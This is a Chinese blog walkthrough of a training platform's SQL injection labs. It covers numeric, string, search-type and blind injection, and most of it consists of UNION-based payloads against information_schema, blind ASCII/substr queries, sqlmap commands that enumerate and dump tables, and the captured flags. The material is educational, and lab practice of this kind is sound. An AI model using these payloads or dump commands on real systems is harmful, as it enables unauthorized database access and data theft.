当前位置:网站首页>零号培训平台课程-1、SQL注入基础
零号培训平台课程-1、SQL注入基础
2022-07-27 06:01:00 【大灬白】
需要知道的知识:
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。
SCHEMATA :存储数据库名的,
——>关键字段:SCHEMA_NAME,表示数据库名称
TABLES :存储表名的
——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
——>关键字段:TABLE_NAME表示所属的表的名称
COLUMNS :存储字段名的
——>关键字段:COLUMN_NAME表示字段名
一、数字型注入
1、判断注入存在:and 1=1 and 1=2返回不同
2、猜测数据库
获取所有数据库名:
1 and 1=2 union select group_concat(schema_name) from information_schema.schemata;
information_schema,lession1,test
3、猜测数据库表:
获取"lession1"数据库的所有表名:
1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=“lession1”
4、猜字段
1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema="lession1"and table_name=“flag”
5、获取flag :
1 and 1=2 union select group_concat(flag) from lession1.flag
得到flag:3347aeb7b48b6d8ca56025a3fc2fab9a
输入到输入框:
点击提交,通过就到了下一关:
二、字符型注入
1、判断注入存在: amin’and"1’=‘1 amin’and’1’=2返回不同
2、猜测数据库
admin1’ union select group_concat(schema_name) from information_schema.schemata%23;
得到information_schema,lession2,test
3、猜测数据库表︰
admin1%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession2”%23
得到flag表
4、猜字段
admin2%27 union select group_concat(table_name) from information_schema.tables where table_schema=“lession2” and table_name=“flag”%23
字段名也叫flag
5、获取flag :
admin2%27union select group_concat(flag)%20from%20lession2.flag%23
得到flag:d467475c0b0ac1eb2a2d58a0bf204e0e
三、搜索型注入
1、判断注入存在:
admin%25%27and%201=2
admin%25%27and%201=1 --+返回不同
2、猜测数据库
admin1%25%27union select group_concat(schema_name) from information_schema.schemata%23
得到information_schema,lession3,test
3、猜测数据库表︰
admin1%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3”%23
得到flag表
4、猜字段
admin2%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3” and table_name=“flag”%23
字段名也叫flag
5、获取flag :
admin2%25%27union%20select%20group_concat(flag)%20from%20lession3.flag%23
得到flag:21fb2c6c87d00ae12f0fce84d64cf511
四、盲注型
1.二分计算数据库长度
id=1 and (select length(group_concat(schema_name)) from information_schema.schemata)=32

返回结果正常,证明数据库的长度
2.二分查找数据库名
id=1 and ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))>105

返回结果错误,证明数据库名的第一个字母的ASCII码值没有大于105
3.二分查找表
id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="lession4"),1,1)) >105

返回结果错误,证明表名的第一个字母的ASCII码值没有大于105
4.二分查找表字段名
id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="lession4" and table_name="flag"),1,1))>105

返回结果错误,证明字段名的第一个字母的ASCII码值没有大于105
5.二分查找获得数据
id=1 and ascii(substr((select group_concat(flag) from lession4.flag),1,1))>105

返回结果错误,证明flag的第一个字母的ASCII码值没有大于105
6.盲注推荐使用工具-sqlmap
–batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
–dbs 目标服务器中有什么数据库,常用,直接用–dbs
–current-user 当前用户,常用,直接用–current-user
–current-db 当前数据库,常用,直接用–current-db
–tables 目标数据库有什么表,常用,直接用–tables
–columns 目标表中有什么列,常用,直接用–colums
–schema 目标数据库数据库系统管理模式。
–search 搜索列、表和/或数据库名称。
-D DB 指定从某个数据库查询数据,常用。例: -D admindb
-T TBL 指定从某个表查询数据,常用。例: -T admintable
-C COL 指定从某个列查询数据,常用。例: -C username
得到完整的请求数据包:
保存为linghao.txt
py -2 sqlmap.py -r linghao.txt --batch

发现参数id有基于时间的盲注,MySQL >= 5.0.12和基于时间的盲注,
有效载荷:id=1 AND SLEEP(5)
后端数据库是MySQL,web服务器操作系统:Linux Ubuntu,web应用技术:PHP 5.5.9, Nginx 1.16.1
py -2 sqlmap.py -r linghao.txt --dbs

Sqlmap也是通过ASCII码一个一个字母盲注出来的,一共有3个数据,找到目标数据库lession4
py -2 sqlmap.py -r linghao.txt -D lession4 --tables
找到数据表名flag
py -2 sqlmap.py -r linghao.txt -D lession4 -T flag --dump

得到flag:0dc8b42164407fc640c86b48d5ec9bf0
提交flag:
得到最终flag:3347aeb7b48b6d8ca56025a3fc2fab9ad467475c0b0ac1eb2a2d58a0bf204e0e21fb2c6c87d00ae12f0fce84d64cf5110dc8b42164407fc640c86b48d5ec9bf0
边栏推荐
- Quartus:往别人的工程添加.v文件报错
- 从技术原理看元宇宙的可能性:Omniverse如何“造”火星
- Codeforces Round #809 (Div. 2)(6/6)(Kruskal重构树)
- Digital image processing - Chapter 6 color image processing
- 基于SSM图书借阅管理系统
- 使用pip命令切换不同的镜像源
- R2live code learning record (3): radar feature extraction
- Word wrap: break word line feed is compatible with browsers
- 12. Integer to Roman整数转罗马数字
- Interpretation of deepsort source code (6)
猜你喜欢

A Competitive Swarm Optimizer for Large Scale Optimization

Leetcode series (I): buying and selling stocks

Consideration on how the covariance of Kalman filter affects the tracking effect of deepsort

Significance of NVIDIA SMI parameters

DNA (deoxyribonucleic acid) supply | carbon nanotube nucleic acid loaded dna/rna material | dna/rna nucleic acid modified magnetic nanoparticles

How to learn C language? This article gives you the complete answer

指令集 x 数澜科技丨加速政企数字化转型,打造DT领域独角兽企业联盟

Using docker to install and deploy redis on CentOS

Web configuration software for industrial control is more efficient than configuration software

CdS quantum dots modified DNA | CDs DNA QDs | near infrared CdS quantum dots coupled DNA specification information
随机推荐
Convert Excel to csv/csv UTF-8
12. Integer to Roman整数转罗马数字
Peptide nucleic acid oligomer containing azobenzene monomer (nh2-tnt4, n-pnas) Qiyue biological customization
高级IO提纲
基于SSM学生学籍管理系统
Gbase 8C core technology
CdS quantum dots modified DNA | CDs DNA QDs | near infrared CdS quantum dots coupled DNA specification information
Student achievement management system based on SSM
Word wrap: break word line feed is compatible with browsers
Interpretation of deepsort source code (II)
Codeforces Round #787 (Div. 3)(7/7)
ZnS DNA QDs near infrared zinc sulfide ZnS quantum dots modified deoxyribonucleic acid dna|dna modified ZnS quantum dots
MySQL index failure and solution practice
PNA polypeptide PNA TPP | GLT ala ala Pro Leu PNA | suc ala Pro PNA | suc AAPL PNA | suc AAPM PNA
[latex format] there are subtitles side by side on the left and right of double columns and double pictures, and subtitles are side by side up and down
Day012 application of one-dimensional array
Reasoning speed of model
A Competitive Swarm Optimizer for Large Scale Optimization
Dajiang livox customized format custommsg format conversion pointcloud2
Web configuration software for industrial control is more efficient than configuration software